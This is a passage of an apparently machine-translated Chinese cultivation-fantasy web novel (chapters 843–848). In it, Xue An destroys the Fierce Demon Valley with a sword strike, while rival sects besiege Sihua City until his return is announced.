
    This is even greater than Xue Anxiu''s breakthrough.


    Because only if you have a solid state of mind can you make great progress in your cultivation.


    At this time, those Yingying and Yanyan all got off their boats and flew to the side of Tianyuan on foot.


    At this moment, in their eyes, Xue An, fluttering in white, like a teenager, is simply a ladder for her own progress, so they all tried their best to show their best side, and then fluttered to give gifts.


    "My lord! The slave family is the daughter of the Western Regions King''s family, Xiao Qian!"


    "My lord, well, I am Lin Xiaoxiao from the Lin Family of Zhongyu!"


    These greetings one after another.


    There is even that more straightforward.


    "Master Xue, the slave family admires your strength, please accept me as a bed warmer!"


    This sentence made Xue Liuli and Mu Ya stunned.


    Can you still play like this?


    How could you come forward so straightforwardly?


    But just when this competition has become fierce.


    Xue An showed a hint of dislike on his face, and said lightly: "No need!"


    After all, he waved his hand and unlocked Fu Bao Xiaolou.


    Before coming to this Wenzhen Festival.


    He let An Yan enter the small building with his two daughters.


    And tell them not to come out casually.


    To this day, Xue An has finished cleaning up everything, and then An Yan is released.


    As soon as it appeared, An Yan''s eyes were slightly red.


    "Husband, are you hurt?"


    Xue An knew that he couldn''t hide it, nodded and smiled, "It''s okay, it''s just a small injury, it''s healed!"


    Having said that, An Yan still has a distressed expression After so many years of getting along, she and Xue An have long been connected, so even in the Fubao Xiaolou, she can still treat Xue An The sadness of the same feeling.


    "Don''t do this in the future! Do you know how much I worry about you!" An Yan wept a little.


    Xue An smiled and gently embraced An Yan in his arms.


    "Okay, okay, just this time, not as an example! Okay?"


    "Hmm! We pull the hook!"


    An Yan stretched out his hand.


    Xue An smiled and stretched out his finger to pull the hook with An Yan.


    "Hang on the hook, no change for 100 million years!" An Yan still mumbled.


    Xue An laughed dumbfounded when he heard it, "I remember not a hundred years?"


    An Yan gave Xue An a white look, "One hundred years is too short, one hundred million years is good!"

 Chapter 843： Back to the basics, a young boy

    Xue An nodded indifferently, "Okay, everything is up to you!"


    The two of them began to abuse the dog without anyone else.


    And all the concubine Tianjiao onlookers looked dull and stared blankly.


    Because in front of An Yan, who had removed all their disguise, whether it was their proud looks and body, or their temperament and conversation, they were completely killed.


    This kind of all-round crushing even made them unable to produce any resistance.


    Because the Anyan at this moment is almost like the Dragon Girl Luoshen, so beautiful that it makes people afraid to have the slightest sense of blasphemy.


    And when she stood next to Xue An, she was so harmonious and natural, even as if nature should be so general.


    This is the real goddess couple!


    The fantasy in the hearts of all the prostitute Tianjiao shattered suddenly, and they were all plunged into deep despair.


    Xue An didn''t care about all of this, he smiled and opened his palms, "Yan''er, what do you think this is?"


    An Yan looked down and saw that there was an extremely round red bead in the palm of Xue An''s palm, and it exuded a powerful aura.


    "This... is the blood bead?" An Yan recognized this thing.


    Xue An nodded, "Yes, it''s blood beads!"


    "But why is it so big?" An Yan was a little surprised.


    She had taken blood beads more than once when she was on earth.


    But the biggest blood bead is no more than the size of a pigeon egg.


    Where is it like this blood bead, almost like an egg.


    More importantly, this blood bead is radiant and radiant, with a breathtaking breath, which is obviously extraordinary.


    Xue An smiled slightly, "The blood races on the earth are just a group of mixed blood, but these are pure blood gods!"


    An Yan nodded.


    In fact, if it weren''t for Xue An''s current strength, he could only use the technique of causal rules to wipe out this rift and consume most of his vitality.


    This blood bead will be even larger.


    "Yan''er, you take this blood bead first, and when you go to the blood world, even if the seal on your body can''t be completely unlocked, most of it can be unlocked!" Xue An said.


    "it is good!"


    As long as Xue An said, An Yan would believe it almost blindly.


    So she took the blood beads without hesitation.


    "But how do you eat this? Such a big one?"


    "Put it to your mouth and inhale it lightly!" Xue An said.


    An Yan Yiyan put it to his lips, as expected.


    A ray of water-like brilliance appeared in this blood bead, and it was suddenly absorbed by An Yan.


    Soon, this blood bead was completely absorbed.


    An Yan''s momentum suddenly shook, and then began to climb.


    quickly.


    The light in An Yan''s eyes brightened, and his momentum broke through a barrier and came to a new world.


    Xue An looked a little surprised, then shook his head and smiled bitterly.


    Again!


    An Yan actually broke through again.


    But this time he was promoted directly from Sanxian to half-step Jinxian.


    If this matter spreads out, the emperor Tianjiao of the Starry Sky Master or the Ancient Holy Land will probably be crazy.


    Because An Yan has never practiced as diligently as others, but every time she breaks a seal, her cultivation level will rise.


    Could it be said that when the seal on An Yan''s body is completely unlocked, can her cultivation level surpass me?


    This thought made Xue An a little dumbfounded.


    You have to know that you have been a human for two lifetimes and you have cultivated for more than 3,000 years to achieve this result.


    But Anyan ate, ate and slept all day long, but his cultivation level rose again and again.


    This gap made Xue An feel a sense of powerlessness.


    Could it be that his wife is the kind of peerless genius?


    Xue An speculated funny.


    An Yan looked at her hands in confusion at this time.


    "Husband, I seem to have broken through again!"


    Xue An smiled helplessly and rubbed her head, "Yes! You little fool!"


    "Hey, husband, I don''t think cultivation is as difficult as you said! It''s quite simple!" An Yan said with a grin.


    Xue An: "..."


    Then I couldn''t help sighing inwardly, where does this make sense?


    At this time, countless experts from the sect family rushed over after hearing the news.


    When I saw Xue An, who had returned to the basics and looked like a young boy, I couldn''t help feeling shocked.


    For three days of retreat, Xue An''s strength was much stronger.


    It''s easy to do it because it''s powerful, but it''s extremely difficult for Guanghua to be introverted and return to the original.


    Must be able to completely control one''s own cultivation base, such as when the arm is pointing to reach this requirement.


    Could it be that in just three days of sunlight, did Xue An have completely consolidated his cultivation base?


    Although everyone was surprised, they still gave up.


    "grown ups!"


    "Participate in Master Xue!"


    Xue An nodded slightly.


    At this time, a true immortal head teacher stepped forward and said: "My lord, the people in the Valley of the Fierce Demon are obsessed with it, and they have opened up the mountain protection formation. If they want to fight the adults to the end, please punish this valley to shake the power."


    Xue quietly glanced at the speaker.


    This true immortal head teacher trembled all over, and a trace of sweat appeared on his forehead.


    Because Xue An''s eyes were simply terrifying.


    It makes people shudder.


    But he reluctantly bowed his head and held on.


    "What''s your name?"


    "Master Hui, I am the leader of the Han Ming Sect, my name is Yu Hanming!"


    Xue An was noncommittal.


    "The evil demon valley I naturally want to destroy, but you seem to be using this method to arouse me?"


    Hearing these words, Yu Hanming felt that a strong aura encircled him directly. He knelt to the ground uncontrollably, and then trembled.


    "My lord, the villain knows my fault, but my Han Ming sect is right next to this evil demon valley. I have been oppressed by it for thousands of years. That''s why I want you to punish it! Please forgive me!"


    Yu Hanming shakes like chaff.


    Xue An slowly walked closer to him, and said indifferently: "I know your mind, so I don''t take the following as an example, otherwise, even your school will be killed together!"


    "Yes...Yes!" Yu Hanming trembled and lowered his head, eyes full of infinite fear.


    And Xue An looked at the boats and cars that were coming in the distance, and said lightly: "You wait and wait here for a while, I will go back!"


    These people were all shocked when they heard this.


    Could it be...


    "Since this Fierce Demon Valley doesn''t realize it, I will let it be buried with their ancestors!"


    After all Xue An lightly grabbed An Yan''s waist, rising up into the sky and heading straight to the direction of the evil demon valley.


    There was a whole area of ??people with amazement left.


    After a while, these talents began to talk.


    "This Master Xue is a bit too impatient! You know that the mountain guard formation in the Valley of the Devil is the number one guard formation!"


    "Yes, I have seen with my own eyes that the earth-powered dragon energy accumulated over the past thousands of years has condensed into a series of earthy yellow walls that are thousands of miles wide. Just let you fight it. I don''t want to drill through it after half a year!"


    "Now, it is estimated that this Xue An will be deflated!"


    These people whispered.


    At this moment, Xue An, who had disappeared into the sky, waved his hand, and a beam of brilliance flew straight back, and then formed a water mirror technique that was full of hundreds of miles.


    "Today, I will destroy the Valley of the Devil in front of you!"

 Chapter 844： Attract worldwide attention

    The Vicious Demon Valley is extremely far away from the Yuanyu Blood Net Mountain.


    If you change to Xue An, who was the Golden Immortal before, it is estimated that it will take three days to rush past.


    But now Xue An, who is half a step into a real immortal, has increased more than ten times in strength, and even the speed of this journey has also increased to a shocking level.


    Seeing Xue An''s figure flashed, he could span thousands of kilometers.


    The speed was so fast that it even compressed and squeezed the air, leaving a long glow behind him.


    All the sect families that passed by were shaking, looking towards the sky with amazement.


    "Which ancestor of the real immortal is traveling? Is it so powerful?"


    In these discussions.


    The Valley of Fierce Demon gradually approached.


    now.


    In this valley of evil demon.


    The guests flooded the door and it was very lively.


    In the hall.


    Many masters from the Wei family of the Western Regions gathered together with the elders of the Murder Demon Valley to discuss matters.


    I saw an old man from the Wei family with a goatee and a gloomy face saying coldly: "My ancestor of the Wei family, and our young master, have all died in the hands of Xue An. This man will be condemned for such reckless behavior. !"


    The great elder of the Valley of Fierce Demon also looked bad when he heard that, "Brother Wei said that Xue An is so arrogant that sooner or later he will be bitten by him!"


    Everyone nodded.


    But at this moment, a female voice full of bitterness sounded.


    "That being said, this Xue An is definitely not an idle person. If everyone can''t work together to kill him, unfortunately, it may be everyone present."


    Everyone turned to look.


    It was a woman standing at the end of the line who spoke.


    It is the water sensitivity of Huayu Temple in the Western Regions.


    At this moment, Shui Min''s heart was completely occupied by hatred.


    Because three days ago, when she witnessed Xue An pacing the Blood Net Mountain and slashing Daluo.


    She was so scared that her soul was about to fly away, and immediately fled to the Western Region Sect.


    But what she didn''t expect was that when she returned to Huayu Temple, she couldn''t even enter the mountain gate.


    Because what she had done had been passed back to Huayu Temple, the patriarch and elders of Huayu Temple were all furious.


    Because this Shui Min actually offended Xue An.


    Who is Xue An now?


    That was the peerless fierce man who flattened all the blood net mountains of the first sect of Guiyi and slashed Daluo.


    Such an existence, how dare a small Huayu Temple provoke?


    What''s more, when the suzerain and elders of this Huayu Temple learned carefully, they almost died of anger.


    On the way to Blood Net Mountain, Shui Min and his party already met Xue An.


    If we had a good relationship at that time, now Huayu Temple might have an extra peerless strongman as a backer.


    In that case, the status of Huayu Temple will not be the same, and it is even possible to be promoted to Tianzong.


    But all this was ruined in Shui Min''s hands.


    She was so stupid to provoke Xue An again and again.


    Such mistakes naturally made Huayu Temple full of hostility towards Shuimin.


    Even if it hadn''t been for Gan Jing''s repeated plea, several elders would have killed her.


    Even so, this Shui Min was also driven out of the gate of Huayu Temple.


    Because these elders at Huayu Temple know it well.


    This woman cannot stay.


    If Xue An remembered this incident after leaving the customs, then even the entire Huayu Temple might have to be buried with this stupid woman.


    Therefore, the people at Huayu Temple knew how far and how far to let her go, and never come back, otherwise we will meet again and kill her.


    Shui Min was desperate, but didn''t dare to defy, so he could only leave Huayu Temple in a desperate manner like a bereavement dog.


    Originally, it was very simple to find a good home based on her cultivation base and appearance.


    But by this time her deeds have spread.


    Everyone heard that this woman had actually offended Xue An, who was already the first person in the limelight, and was so frightened that she did not dare to entertain her.


    After eating several times in a row.


    This Shumin was completely desperate.


    Coincidentally, at this moment, she met all the members of the Wei family who were heading to the Valley of the Devil.


    Relying on her incomparably thick face, she really clung to the group of Wei family members, and then came to this valley of evil demon with them.


    Shui Min now hates Xue An deeply.


    She never reflects on her faults, but thinks that she has fallen into such a field now because of Xue An.


    Therefore, she does not want to kill Xue An all the time.


    But she also knew that it would be a joke if she wanted to rely on her own strength.


    Therefore, after entering this evil demon valley, she deliberately wanted to let the people of the evil demon valley come forward and destroy Xue An.


    But she was quickly disappointed.


    The Valley of the Evil Demon, who thought it would be irritating, actually relied on the blessing of the mountain protection formation to act as a tortoise.


    This makes her very dissatisfied.


    Therefore, I couldn''t help but blurt out in this hall.


    At this time, the great elder was slightly startled, and then asked in a deep voice: "This girl is..."


    The old man of the Wei family smiled, "This is a rising star from Huayu Temple in the Western Regions, because I also have hatred with Xue An, so I came here together."


    The great elder said indifferently: "Girl, don''t worry, this Xue An is definitely going to be destroyed, but this matter needs a long-term plan!"


    "Long-term plan? I''m afraid that Xue An won''t give us this time, and he will come directly!" This Shui Min said bitterly.


    The elder caressed his beard and smiled, "It''s all right if Xue An doesn''t come. If he dares to come, then this is his burial place!"


    "That''s it, is it true that our Mountain Guardian Formation in the Ferocious Demon Valley is a vegetarian?" The elder Qiubeu also regained his confidence at this moment, and said arrogantly.


    Although this Shui Min was unwilling, he couldn''t help being moved when he heard these people say this.


    The people in Ferocious Demon Valley dare to say that, and they are somewhat sure about it.


    Humph, Xue An, I''m waiting to see the scene where you die.


    Shui Min was full of spiteful thoughts.


    at this time.


    The entire Fierce Demon Valley suddenly shook violently, and then Xue An''s indifferent voice came from outside.


    "People from the Devil Valley, wash their necks and come out to die!"


    As soon as the sound came out, the whole Occult Demon Valley was quiet, and then it boiled completely.


    The elders in the hall, many masters of the Wei family.


    Including this water sensitivity.


    They all rushed outside and looked up.


    Seeing the thousand-mile barrier formed by the strength of the earth veins above the sky, Xue An stood calmly.


    "It''s really him!"


    All the people in Occult Demon Valley couldn''t help taking a breath No one thought that Xue An would come so soon.


    at the same time.


    The countless repairers who watched the water mirror in front of the Blood Net Mountain were all moved by it.


    "I remember it''s a hundred million miles away from here to the Valley of the Devil! It takes three or four days for a true ancestor to drive on his way! This Xue An could not move the space, otherwise how could it be so short? Arrived in time?" someone exclaimed.


    And those ancestors and teachers are even more solemn.


    Just now they thought that Xue An was too reckless to go there, and might even suffer a big loss.


    But now it seems that Xue An is not joking.


    Could it be that he can really break the mountain protection formation of the Occult Demon Valley in a short time?

 Chapter 845： All immortals bow their heads, heaven and earth bow their heads

    "Xue An, do you really dare to come?" The elder of the Ferocious Demon Valley''s face was pale and he shouted.


    Xue An said indifferently, "Why don''t you dare?"


    Then he overlooked the entire Valley of the Devil, his eyes swept across everyone''s face.


    Especially when he saw Shui Min and everyone in the Wei family, a faint smile appeared at the corner of his mouth.


    "They all got together, this saves me a lot of things!"


    At this time, the elder beard laughed wildly, "Xue An, you are indeed strong enough, but I am not a vegetarian. This mountain guard was originally created by the founder of the mountain. If you are really capable Break this formation, I am willing to die!"


    Even Shui Min sneered, "Xue An, aren''t you very good? If you have the ability, you can break this formation!"


    They all deliberately used words to arouse Xue An and let him break the battle.


    Xue An smiled slightly when he heard the words, "You seem to be very confident in this mountain protection formation, no matter what, then I will let you lose and be convinced!"


    After all, Xue An took a step forward and blasted out with a fist.


    Bang.


    A muffled sound that shook the world.


    The entire Fierce Demon Valley trembled, but the earth barrier that was thousands of miles thick did not shake at all, and with Xue An��s punch, huge thorns more than ten miles tall appeared on the earth barrier. Xue An banged.


    The mighty momentum of this giant thorn even moved the cultivators before Shui Jing.


    But Xue An even lifted his eyelids, and he blasted out a few punches casually.


    These giant thorns are all turned into powder.


    But this is just the beginning.


    Immediately afterwards, a huge figure began to gradually emerge from this thousand miles of earth.


    Seeing this scene, these cultivators couldn''t help but their eyes widened.


    "this is����."


    At this moment, a huge figure with a height of hundreds of thousands of feet completely emerged from the atmosphere of the thousand miles.


    "This is a giant condensed from the earth''s energy accumulated for thousands of years!" someone exclaimed.


    I saw this earth-yellow giant standing upright on the ground, and the space was shattered just by its momentum.


    At this moment, the giant looked down, then stretched out a finger, and slowly pressed towards Xue An.


    The space roared, and the earth shook.


    All the elders in Occult Demon Valley, Wei Family, Shui Min and others all showed a smug smile.


    Especially the people in Occult Demon Valley, all believed that Xue An would definitely die.


    Because this is the ground dragon energy that has accumulated thousands of years in the Valley of Fierce Demon.


    Not to mention the true ancestors, even if Daluo came to him, he had to retreat.


    But at this moment, Xue An smiled faintly, raised a fist to the sky without fear, and fisted against the giant''s finger.


    There is no sound.


    There is not even a trace of excess momentum.


    It seems that the whole world is silent.


    Immediately after.


    There was a faint cracking sound.


    Then from the giant''s fingers, cracks began to spread wildly.


    Then this giant, transformed by the power of the earth for thousands of years, broke apart.


    This scene made the smiles on everyone''s faces in the Valley of the Devil Frozen.


    At this time, Xue An said calmly: "Do you really think that you can stop me with a barrier like this tortoise shell?"


    "In my eyes, breaking this battle is nothing more than a sword!"


    Following Xue An''s voice, a sword light appeared in the void.


    Then Xue Anxin pointed his hand.


    Seeing a huge sword light that reached a height of ten thousand feet straight slashed the earth gas barrier that was thousands of miles thick.


    boom.


    After a muffled sound that shook the world.


    The air barrier began to tremble crazily, with bursts of overwhelmed cracking sound.


    "Quick! Fully urge the mountain protection formation!" the great elder shouted.


    Following his orders.


    The entire Fierce Demon Valley began to boil, and countless disciples immediately took their place, urging the cultivation base together, and began to help the formation.


    Seeing the formation rune buried deep underground began to gleam with dazzling golden light.


    The earth vein dragon energy within a radius of tens of thousands of miles was crazily absorbed by this pattern, and then it fully replenished the earth gas barrier.


    This trick really worked.


    I saw that Xue An''s sword began to struggle gradually, and the speed also slowed down.


    The practitioners who had been watching this scene before Shui Jing couldn''t help shaking their heads secretly, thinking that Xue An was absolutely hopeless this time.


    Because Xue An at this moment is equivalent to fighting the power of thousands of miles of mountains and rivers with his own power.


    This is simply the behavior of a mantis arm as a car.


    After all, no matter how powerful a person''s cultivation base is, he cannot be an opponent of thousands of miles of mountains and rivers.


    But in this case.


    Xue An didn''t even have a trace of panic, but said indifferently: "Today, even if hundreds of thousands of miles of mountains and rivers are doing it together, I don''t want to stop me!"


    After all, the golden light flashed in Xue An''s eyes, and the runes appeared.


    The sword light that was stagnated by the power of the earth''s energy suddenly burst into light that people dare not look at.


    Then the sword light was like a hot knife cutting butter, directly slashing thousands of miles of energy, and then crashing down on the evil demon valley.


    Boom.


    The entire Fierce Demon Valley had lost the blessing of the mountain guard, and it was as fragile as porcelain under this sword light.


    With just one sword, the Valley of the Fierce Demon collapsed completely.


    Countless disciples of the Fierce Demon Valley couldn''t even escape in the future, they were buried underneath, and they all died.


    All the cultivators before the Shui Jing have looked stupid.


    Who could have imagined that this sacred formation, known as the No. 1 Mountain Guardian, could not even survive a quarter of an hour before being killed by Xue An.


    At this moment, in the smoke and dust all over the sky.


    Dozens of figures emerged in embarrassment.


    It is the elders of the Occult Demon Valley, who are already strong in the Wei family of the Western Regions.


    It''s just that at this moment, these powerful Tianjiaoes, who are usually arrogant and arrogant, all face panic.


    Because Xue An''s sword not only cut off the mountain guard, but also completely shattered their arrogance.


    "My lord, forgive me!" This is the elders of the Ferocious Demon Valley asking for mercy.


    "My lord, this matter is all about the evil Demon Valley, and it has nothing to do with me!" This was the person from the Wei family in the Western Regions begging.


    Shui Min also survived, but she seemed to be stupid at the moment, staring blankly at the nine heavens above, like Xue An in Lingchen.


    Then a glimmer of enlightenment suddenly rose in her heart.


    From the beginning, I shouldn''t provoke this man.


    Because against this man, there will be no good end.


    But she knew all this too late.


    Xue An didn''t bother to pay attention to the wailing of these guys.


    He waved casually.


    The endless sword light blasted at this group of peopleNo... "


    These people screamed.


    Some people also tried to resist.


    But under this full sky of sword rain, no one can support three breaths.


    After a while.


    The sword light dissipated.


    Looking at the space again, it has become empty.


    So far.


    The evil demon valley and the Wei family of the Western Regions were completely destroyed.


    The many cultivators before Shui Jing looked at each other, and then they all showed a bitter smile, and they dared not have the slightest distracting thoughts in their hearts.


    Xue An finally reached the top with supreme power and united, causing all the immortals to bow their heads, and heaven and earth bow their heads.

 Chapter 846： Xingshi asks crime

    Return to the Eastern Region.


    Sihua City.


    Fu Xinyan straightly taught several new students some basic techniques.


    The talents and roots of these women are very good, but at the moment they all have complaints.


    Because they are all prostitutes from various major families in the Eastern Region, they have been pampered since childhood, and of course they can''t endure all the sufferings here.


    Especially Fu Xinyan, now as the City Lord of Sihua City, acted sternly, and had very strict requirements on the disciples.


    Therefore, these new disciples are also very afraid of him.


    So they only dared to come together and complain in a low voice during a short break.


    "It''s so boring! My father sent me to this Sihua City to practice the techniques here, but Fu Xinyan let us learn all kinds of tedious etiquette all day long."


    "I see, this Fu Xinyan doesn''t really want to teach us at all! It''s purely using these things to prevaricate!"


    "Well, I think so, thinking how honorable my identity is at home, I was actually yelled at by others here. When I think of it, I feel very aggrieved!"


    These women all showed complaints.


    "Hey, do you think the one behind this Sihua City will come back?"


    "Cut, come back! I''ve heard from my family that this guy seems to offend a very powerful person after entering the middle domain. I see, maybe this guy is already fierce!"


    Because the distance between the Eastern Region and the Central Region is extremely long, the news also has a serious lag.


    The latest news that Sihua City got was only what Xue An did in Banten City.


    It seems that Xue An offended the people of Santianzong and even Yuanzong Blood Net Mountain!


    Although this news was fascinating, all the people from the Eastern Family Sect who were swayed by it were all shaken by it.


    Because that is Tianzong!


    For these people in the Eastern Region, that is already an unimaginable huge existence.


    Although this Xue An is powerful, he is alone after all, and now he has offended Tianzong. Isn''t it horrible?


    With this idea in mind, many people''s eyes on Sihua City began to change.


    At this time, Su Xiaomu held a cup of tea and walked to the side of her senior sister Fu Xinyan.


    "Sister, please have tea!"


    Fu Xinyan nodded slightly, holding a tea cup and sipping slowly.


    And Su Xiaomu looked at the female disciples who were whispering in the distance with a gloomy expression, and said in a deep voice: "Senior Sister, these guys must have said nothing good! And I''m also wondering why you agreed to accept it. Such a bunch of delicious lazy rich daughters!"


    Fu Xinyan sighed slightly, "Now that the hearts of the Eastern Regions are floating, I am afraid that things will change, so I have accepted the women from the few families closest to our Sihua City in order to be able to help."


    Hearing these words, Su Xiaomu''s expression became a little solemn, and then said with a trembling voice: "Senior Sister, the rumors about adults outside..."


    Fu Xinyan shook her head firmly, "I don''t believe that something will happen to adults! Don''t bother!"


    "Yeah! I think so too! Adults are very important to our ancestors, how can something happen?" Su Xiaomu said with some difficulty.


    But this sentence at the moment is more like comforting oneself.


    at this time.


    Suddenly there was a violent noise outside.


    Then I heard an arrogant voice coming into the room.


    "Are all the people in Sihua City dead? Get out of one!"


    Hearing these words, Fu Xinyan''s face sank, and immediately rushed outside the house.


    Su Xiaomu and many other disciples also rushed outside.


    Just outside the defensive formation of Sihua City, a group of people stood in the air.


    All the pedestrians looked arrogant, and the leader was a man with a playful face.


    Behind the man was a young girl with an arrogant expression.


    When she saw the girl, Fu Xinyan was slightly startled.


    Because this girl was sent to Sihua City just a few days ago, but because she couldn''t stand the suffering here, she contradicted herself, and even angered herself. As a result, she was blasted out of the city by the Yantian Sect''s daughter Yan. Qing Xuan.


    No need to ask the leading man, he is naturally from Yan Tianzong!


    And looking at this imposing look, it seemed to be a questioning of sin.


    Fu Xinyan thought to herself, but her face didn''t move, and then she rose into the air, and slightly arched her hands towards the opposite side through the city guard formation.


    "Friends, you came to our Sihua City and spoke abusively, so why?"


    "Speaking badly?" The leading man looked arrogant, and then said lightly: "Sister, is this woman who scolded you?"


    Yan Qingxuan nodded with a savage look, and then stared at Fu Xinyan with bitter eyes.


    "Brother, yes, this guy is targeting me everywhere! He even drove me out later!"


    Yan Qingyi smiled coldly, and then looked at Fu Xinyan with a playful look, "Have you heard, my sister has said it, you are targeting her everywhere first! So this time I came, just let you give me My sister apologizes!"


    "Apologize?" Fu Xinyan repeated indifferently.


    Yan Qingyi nodded proudly, "That''s right, my sister is the prodigal daughter of the Yantian Sect. How can other people blame it? Now I apologize, I can consider letting you go!"


    now.


    Everyone in the whole Sihua City came out and looked up at the sky.


    As the eyes gathered, the killing intent in Fu Xinyan''s eyes became more intense.


    But at the moment when she was about to explode, she suddenly discovered that behind the distant clouds, there seemed to be a group of people hiding.


    This discovery surprised Fu Xinyan, and she also found that Yan Qingyi''s eyes flashed with cold light from time to time Fu Xinyan''s heart gradually sank.


    Obviously.


    This Yan Qingyi was clearly taking advantage of the topic, and even he was just a bait sent by others to test Sihua City.


    It seems that some people are really starting to feel helpless!


    Fu Xinyan sneered in her heart, and said lightly: "I don''t know if this is what your Yantian Sect meant, or that you are acting arrogantly! You must know if your sister enters the city of Sihua, or if your suzerain personally writes to me, I promised. The so-called reprimand..."


    "It stands to reason that as long as you enter Sihua City and become my disciple, it is all up to me to decide whether to kill or to win! Understand?"


    These words made Yan Qingyi''s brother and sister Yan Qingxuan''s expressions change.


    Yan Qingyi said coldly: "It is said that the people in Sihua City are domineering, and it seems that it is like this now! I have found an excuse to drive away my sister without saying it, and dare to make eloquent sophistry! Today, I am nothing. I want to try how powerful your Sihua City is!"

 Chapter 847： Who said I was dead?

    With that said, Yan Qingyi finally tore his face and brazenly moved his hand.


    I saw the guards behind him line up, and the front line was Yan Qingyi, the great young man of Yan Tianzong.


    With the gathering of several cultivation bases, Yan Qingyi''s momentum rose steadily, and then smiled grinningly and pulled out a long sword covered with fireworks.


    "Yantian slashed!"


    Yan Qingyi slashed out.


    Flowing flames and melting gold, its light is brilliant.


    The power of this knife is indeed extraordinary.


    Just listen to a loud boom.


    The light curtain covering the entire Sihua City flickered sharply a few times, and it seemed to feel a great pressure, and it began to sag downward and bend gradually.


    But just when Yan Qingyi sneered at the corner of his mouth, thinking that this knife could break the defense formation.


    Seeing that the rune carved on the entire Sihua city wall suddenly burst.


    Then the light curtain of the city moat suddenly showed an incomparably bright light, and the depression and bending instantly recovered to the original state, and then the Yanqingyi project flew more than ten miles away.


    Yan Qingyi barely stood still in the air, then opened his mouth and spit out a large mouthful of blood, his complexion also pausing.


    "brother!"


    "Young Sect Master!"


    The pedestrian exclaimed.


    at this time.


    From behind the cloud, there was a shout.


    "Who is so bold to hurt my righteous son?"


    Following the voice, I saw a large group of people showing their bodies.


    The leader is an old man wearing a flame robe.


    This person appeared.


    Yan Qingyi and Yan Qingxuan yelled together.


    "father!"


    As for the others, they are even more respectful.


    "I have seen the lord!"


    That''s right.


    It was Yan Hentian, the Sect Master of Yantian Sect.


    now.


    Yan Hentian looked at his son with great pity.


    "Qingyi, how is your injury?"


    "Father, the injury is not too serious, but the people from Sihua City are simply too despicable to act. I beg you and the adults to call the shots!"


    "Don''t worry about your nephew, since we have seen this, we can''t leave it alone!"


    With the voice.


    Behind Yan Hentian appeared more than a dozen old men with different auras.


    All of them are the sect masters who have made good friends with Yan Tianzong.


    Fu Xinyan didn''t say a word, watching the group of people performing their performance with a cold expression on her face.


    At this moment, Yan Hentian raised his head and sneered at Fu Xinyan behind the light curtain of the city guard.


    "City Lord Fu, what explanation do you plan to give us Yan Tianzong about this matter?"


    What Su Xiaomu watched from the side was really unbearable, and couldn''t help taking a step forward, and said angrily: "Yan Hentian, don''t you open your eyes and talk nonsense, okay? You obviously asked us to accept your daughter in the first place. She is disobedient in all manners, my senior sister would have killed her if it weren''t for your Yantianzong''s face! Even in the end, she was just kicked out. In the end, you still dare to come to Xingshi to inquire?"


    "And your son doesn''t ask anything about it, he just does it right up there! Didn''t you see all of this?"


    Su Xiaomu was really angry.


    But Yan Hentian sneered after listening.


    "What a sharp mouth! But no matter what, my son was hurt by you, and my daughter was humiliated by you! What about this... You have to give an explanation to Sihua City!"


    "You..." Su Xiaomu still wanted to say something.


    Fu Xinyan yelled softly: "Enough, Xiaomu, stop talking!"


    "Senior Sister, these people are so deceiving!"


    "Get out!"


    "Yes...Yes!" Su Xiaomu reluctantly stepped back.


    Fu Xinyan looked at Yan Hentian and the others coldly.


    "It''s a good plan. This matter has been planned since the moment you sent your daughter to Sihua City?"


    Hearing Fu Xinyan''s words, Yan Hentian''s expression changed slightly, but he only said indifferently: "City Lord Fu..."


    Fu Xinyan waved her hand, "All are smart people, don''t go around in circles! I just want to ask, if the adults are still there, do you dare to do this?"


    When Yan Hentian heard this, everyone turned their heads and glanced at each other, and then they all laughed.


    "Fu Xinyan, since you have picked up everything clearly, then we will open the skylight to speak up. That''s right, we are doing this for you Sihua City! As for Xue An you said..."


    A sneer appeared on Yan Hentian''s face, "I guess his bones are now rotten!"


    "Dare to offend the people of the Three Heavens Sect! Does Xue An really think that if he can dominate in the Eastern Region, he will be able to dominate in the Middle Region? That day, the Sect was a great faction of strong people, and even true immortals. The ancestor is sitting in town, he is doing this, he is completely looking for death!" A sect leader sneered.


    "Yes, and I heard that this Xue An seems to have offended even the people of Yuanzong Blood Net Mountain. This is no longer looking for death, this is totally not wanting to live!" Someone laughed wildly.


    And a greedy color flashed in Yan Hentian��s eyes, "Fu Xinyan, we don��t want anything else, you just have to hand over the exercises that Xue An passed to you and move out of this city. I promise you won��t be embarrassed. what do you think?"


    These words caused the whole Sihua City to boil.


    Many women who had already entered Sihua City for a long time all showed incomparable anger.


    However, the disciples who had just worshipped the beginners looked at them indifferently, and some even saw Fu Xinyan and others in their eyes full of schadenfreude.


    Fu Xinyan sneered.


    "In that case, it seems that we have to thank you for Sihua City?"


    "Hehe, that''s not necessary, but..."


    Fu Xinyan waved her hand, "Needless to say!"


    Then he stretched out his hand and pointed to the other side, "I tell you, adults will never die, and we think of Huacheng, and we will not give in!"


    "Looking for death!" Yan Hentian let out a cold snort, then stretched out his hand and pointed forward.


    An incredibly powerful flame hit the moat.


    At the same time, Yan Hentian gave a cold cry.


    "Don''t do it yet, when will you wait?"


    With the voice.


    The head teachers of the dozens of sects who followed also moved their hands together.


    More than a dozen Guanghuas gathered together and slammed into the light curtain of the mountain.


    boom.


    After a loud noise.


    This mountain-protecting light curtain finally couldn''t support it, and after a crisp sound, it broke apart.


    Then the head teachers of these sects yelled in surprise: "Rush in, the sisters of Sihua City are famous beauties and tonics in the Eastern Region, don''t let them go!"


    Fu Xinyan, Su Xiaomu, and the many disciples of Sihua City''s disciples all had cold faces, and they started to fight without fear.


    I saw Guanghua Road, loud noises.


    But Yan Hentian, these people are obviously here prepared, everyone is very powerful.


    So soon, everyone in Sihua City gradually fell into the siege.


    Among them, Fu Xinyan is the worst.


    Yan Hentian and three head teachers surrounded him Fu Xinyan''s face was pale, her breath was slightly panting, and she was obviously at the end of the battle.


    Yan Qingyi, who had been watching the battle, smiled grimly at this time: "Father, I like this woman, grab it and give it to me!"


    Yan Hentian laughed at the words, "Okay! But this woman Lie, I wonder if my son can move?"


    Yan Qingyi gave a dark smile, "Father, my favorite is the temperament!"


    The brazen words of the father and son made Fu Xinyan angry, but there was a faint look of despair in her eyes.


    Could it be that the foundation of Sihua City will be destroyed by one''s own hands today?


    And adults, is it true that these people can''t come back?


    At this moment, only a faint voice came from the sky, resounding through the sky.


    "Who said... I''m dead?"

 Chapter 848： The villain died of talking

    Hear this voice.


    Everyone in the audience changed their colors.


    Especially Fu Xinyan and others were shocked, and then looked up.


    I saw a huge convoy slowly approaching from the sky.


    This convoy is composed of countless tall ships and flies. The majestic momentum and large scale are simply breathtaking.


    Everyone stared blankly.


    Especially Yan Hentian and the dozen or so sect masters were afraid to move at this moment, because they could feel that there were countless powerful and unmatched auras in this team.


